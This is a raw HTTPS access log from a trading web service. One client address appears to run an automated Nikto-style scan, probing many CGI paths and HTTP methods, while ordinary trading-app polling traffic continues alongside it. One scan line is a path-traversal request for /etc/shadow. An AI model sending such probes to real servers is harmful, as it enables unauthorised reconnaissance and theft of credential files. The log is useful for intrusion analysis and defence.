[09/Jan/2026:10:48:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.0" 226
[09/Jan/2026:10:48:38 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logs/secure_access_log.20241007 HTTP/1.1" 12053043
[09/Jan/2026:10:48:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php HTTP/1.1" 196
[09/Jan/2026:10:48:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php3 HTTP/1.1" 196
[09/Jan/2026:10:48:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php4 HTTP/1.1" 196
[09/Jan/2026:10:48:49 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php5 HTTP/1.1" 196
[09/Jan/2026:10:48:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php7 HTTP/1.1" 196
[09/Jan/2026:10:48:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.html HTTP/1.1" 196
[09/Jan/2026:10:48:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.htm HTTP/1.1" 196
[09/Jan/2026:10:48:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.shtml HTTP/1.1" 196
[09/Jan/2026:10:48:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.cfm HTTP/1.1" 196
[09/Jan/2026:10:48:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.cgi HTTP/1.1" 196
[09/Jan/2026:10:48:50 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.pl HTTP/1.1" 196
[09/Jan/2026:10:48:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927214589 HTTP/1.1" -
[09/Jan/2026:10:48:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.asp HTTP/1.1" 196
[09/Jan/2026:10:48:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.aspx HTTP/1.1" 196
[09/Jan/2026:10:48:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /default.asp HTTP/1.1" 196
[09/Jan/2026:10:48:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /default.aspx HTTP/1.1" 196
[09/Jan/2026:10:48:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /default.htm HTTP/1.1" 196
[09/Jan/2026:10:48:51 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.do HTTP/1.1" 196
[09/Jan/2026:10:48:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.jhtml HTTP/1.1" 196
[09/Jan/2026:10:48:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.jsp HTTP/1.1" 196
[09/Jan/2026:10:48:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.xml HTTP/1.1" 196
[09/Jan/2026:10:48:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index HTTP/1.1" 196
[09/Jan/2026:10:48:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:48:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:48:52 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927204421 HTTP/1.1" -
[09/Jan/2026:10:48:52 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:48:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "PUT /nikto-test-jKIzoYly.html HTTP/1.1" 220
[09/Jan/2026:10:48:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /../../../../../../../../../../../../etc/shadow HTTP/1.1" 226
[09/Jan/2026:10:48:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /v2/_catalog HTTP/1.1" 196
[09/Jan/2026:10:48:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "OPTIONS * HTTP/1.1" -
[09/Jan/2026:10:48:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "OPTIONS / HTTP/1.1" -
[09/Jan/2026:10:48:53 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "KUSALDGZ / HTTP/1.1" 207
[09/Jan/2026:10:48:53 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927203069 HTTP/1.1" -
[09/Jan/2026:10:48:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "DEBUG / HTTP/1.1" 204
[09/Jan/2026:10:48:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "PROPFIND / HTTP/1.1" 226
[09/Jan/2026:10:48:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "TRACE / HTTP/1.0" 226
[09/Jan/2026:10:48:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "TRACE / HTTP/1.1" 135
[09/Jan/2026:10:48:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "TRACK / HTTP/1.0" 226
[09/Jan/2026:10:48:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "TRACK / HTTP/1.1" 204
[09/Jan/2026:10:48:54 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:48:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/ HTTP/1.1" 7805
[09/Jan/2026:10:48:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/admin.cgi HTTP/1.1" 196
[09/Jan/2026:10:48:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/administrator.cgi HTTP/1.1" 196
[09/Jan/2026:10:48:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:48:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/authLogin.cgi HTTP/1.1" 196
[09/Jan/2026:10:48:55 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:48:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/bb-hist.sh HTTP/1.1" 196
[09/Jan/2026:10:48:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/banner.cgi HTTP/1.1" 196
[09/Jan/2026:10:48:55 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/book.cgi HTTP/1.1" 196
[09/Jan/2026:10:48:56 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927219641 HTTP/1.1" -
[09/Jan/2026:10:48:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/cgiinfo.cgi HTTP/1.1" 196
[09/Jan/2026:10:48:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/cgitest.py HTTP/1.1" 196
[09/Jan/2026:10:48:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/cgi_wrapper HTTP/1.1" 196
[09/Jan/2026:10:48:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/contact.cgi HTTP/1.1" 196
[09/Jan/2026:10:48:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/count.cgi HTTP/1.1" 196
[09/Jan/2026:10:48:56 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/defaultwebpage.cgi HTTP/1.1" 196
[09/Jan/2026:10:48:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/download.cgi HTTP/1.1" 196
[09/Jan/2026:10:48:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/entropysearch.cgi HTTP/1.1" 196
[09/Jan/2026:10:48:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/env.cgi HTTP/1.1" 196
[09/Jan/2026:10:48:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/environment.cgi HTTP/1.1" 196
[09/Jan/2026:10:48:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/ezmlm-browse HTTP/1.1" 196
[09/Jan/2026:10:48:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/formmail.cgi HTTP/1.1" 196
[09/Jan/2026:10:48:57 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/FormMail-clone.cgi HTTP/1.1" 196
[09/Jan/2026:10:48:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927209547 HTTP/1.1" -
[09/Jan/2026:10:48:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/guestbook.cgi HTTP/1.1" 196
[09/Jan/2026:10:48:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/helpdesk.cgi HTTP/1.1" 196
[09/Jan/2026:10:48:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/index.cgi HTTP/1.1" 196
[09/Jan/2026:10:48:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/index.php HTTP/1.1" 196
[09/Jan/2026:10:48:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/index.pl HTTP/1.1" 196
[09/Jan/2026:10:48:58 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/info.cgi HTTP/1.1" 196
[09/Jan/2026:10:48:58 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927208092 HTTP/1.1" -
[09/Jan/2026:10:48:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/info.sh HTTP/1.1" 196
[09/Jan/2026:10:48:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/loadpage.cgi HTTP/1.1" 196
[09/Jan/2026:10:48:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/login.cgi HTTP/1.1" 196
[09/Jan/2026:10:48:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/login.php HTTP/1.1" 196
[09/Jan/2026:10:48:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/login.pl HTTP/1.1" 196
[09/Jan/2026:10:48:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/pathtest.pl HTTP/1.1" 196
[09/Jan/2026:10:48:59 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/php HTTP/1.1" 196
[09/Jan/2026:10:49:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/php4 HTTP/1.1" 196
[09/Jan/2026:10:49:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/php5 HTTP/1.1" 196
[09/Jan/2026:10:49:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/php-cgi HTTP/1.1" 196
[09/Jan/2026:10:49:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/php.cgi HTTP/1.1" 196
[09/Jan/2026:10:49:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/php.fcgi HTTP/1.1" 196
[09/Jan/2026:10:49:00 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/printenv HTTP/1.1" 196
[09/Jan/2026:10:49:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/restore_config.cgi HTTP/1.1" 196
[09/Jan/2026:10:49:01 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927224711 HTTP/1.1" -
[09/Jan/2026:10:49:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/ruby.rb HTTP/1.1" 196
[09/Jan/2026:10:49:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/search HTTP/1.1" 196
[09/Jan/2026:10:49:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/search.cgi HTTP/1.1" 196
[09/Jan/2026:10:49:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/server.php HTTP/1.1" 196
[09/Jan/2026:10:49:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/status HTTP/1.1" 196
[09/Jan/2026:10:49:01 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/sysinfo.pl HTTP/1.1" 196
[09/Jan/2026:10:49:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/test HTTP/1.1" 196
[09/Jan/2026:10:49:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/test-cgi HTTP/1.1" 196
[09/Jan/2026:10:49:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/test.cgi HTTP/1.1" 196
[09/Jan/2026:10:49:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/test_cgi.php HTTP/1.1" 196
[09/Jan/2026:10:49:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/test.cgi.php HTTP/1.1" 196
[09/Jan/2026:10:49:02 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/test_cgi.pl HTTP/1.1" 196
[09/Jan/2026:10:49:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/test-cgi.pl HTTP/1.1" 196
[09/Jan/2026:10:49:03 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927214681 HTTP/1.1" -
[09/Jan/2026:10:49:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/test.py HTTP/1.1" 196
[09/Jan/2026:10:49:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/test.sh HTTP/1.1" 196
[09/Jan/2026:10:49:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/tmUnblock.cgi HTTP/1.1" 196
[09/Jan/2026:10:49:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/uname.cgi HTTP/1.1" 196
[09/Jan/2026:10:49:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/viewcvs.cgi HTTP/1.1" 196
[09/Jan/2026:10:49:03 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/welcome HTTP/1.1" 196
[09/Jan/2026:10:49:04 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927213120 HTTP/1.1" -
[09/Jan/2026:10:49:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/whois.cgi HTTP/1.1" 196
[09/Jan/2026:10:49:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /bin/ HTTP/1.1" 7805
[09/Jan/2026:10:49:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/ HTTP/1.1" 199
[09/Jan/2026:10:49:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/admin.cgi HTTP/1.1" 199
[09/Jan/2026:10:49:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/administrator.cgi HTTP/1.1" 199
[09/Jan/2026:10:49:04 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/authLogin.cgi HTTP/1.1" 199
[09/Jan/2026:10:49:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/bb-hist.sh HTTP/1.1" 199
[09/Jan/2026:10:49:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/banner.cgi HTTP/1.1" 199
[09/Jan/2026:10:49:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/book.cgi HTTP/1.1" 199
[09/Jan/2026:10:49:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/cgiinfo.cgi HTTP/1.1" 199
[09/Jan/2026:10:49:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/cgitest.py HTTP/1.1" 199
[09/Jan/2026:10:49:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/cgi_wrapper HTTP/1.1" 199
[09/Jan/2026:10:49:05 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/contact.cgi HTTP/1.1" 199
[09/Jan/2026:10:49:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/count.cgi HTTP/1.1" 199
[09/Jan/2026:10:49:06 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927229781 HTTP/1.1" -
[09/Jan/2026:10:49:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/defaultwebpage.cgi HTTP/1.1" 199
[09/Jan/2026:10:49:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/download.cgi HTTP/1.1" 199
[09/Jan/2026:10:49:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/entropysearch.cgi HTTP/1.1" 199
[09/Jan/2026:10:49:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/env.cgi HTTP/1.1" 199
[09/Jan/2026:10:49:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/environment.cgi HTTP/1.1" 199
[09/Jan/2026:10:49:06 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/ezmlm-browse HTTP/1.1" 199
[09/Jan/2026:10:49:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/formmail.cgi HTTP/1.1" 199
[09/Jan/2026:10:49:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/FormMail-clone.cgi HTTP/1.1" 199
[09/Jan/2026:10:49:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/guestbook.cgi HTTP/1.1" 199
[09/Jan/2026:10:49:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/helpdesk.cgi HTTP/1.1" 199
[09/Jan/2026:10:49:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/index.cgi HTTP/1.1" 199
[09/Jan/2026:10:49:07 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/index.php HTTP/1.1" 199
[09/Jan/2026:10:49:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/index.pl HTTP/1.1" 199
[09/Jan/2026:10:49:08 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927219810 HTTP/1.1" -
[09/Jan/2026:10:49:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/info.cgi HTTP/1.1" 199
[09/Jan/2026:10:49:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/info.sh HTTP/1.1" 199
[09/Jan/2026:10:49:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/loadpage.cgi HTTP/1.1" 199
[09/Jan/2026:10:49:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/login.cgi HTTP/1.1" 199
[09/Jan/2026:10:49:08 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/login.php HTTP/1.1" 199
[09/Jan/2026:10:49:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/login.pl HTTP/1.1" 199
[09/Jan/2026:10:49:09 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767927218166 HTTP/1.1" -
[09/Jan/2026:10:49:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/pathtest.pl HTTP/1.1" 199
[09/Jan/2026:10:49:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/php HTTP/1.1" 199
[09/Jan/2026:10:49:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/php4 HTTP/1.1" 199
[09/Jan/2026:10:49:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:49:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:49:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:49:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/php5 HTTP/1.1" 199
[09/Jan/2026:10:49:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:49:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:49:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:49:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:49:09 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:49:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/php-cgi HTTP/1.1" 199
[09/Jan/2026:10:49:09 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/php.cgi HTTP/1.1" 199
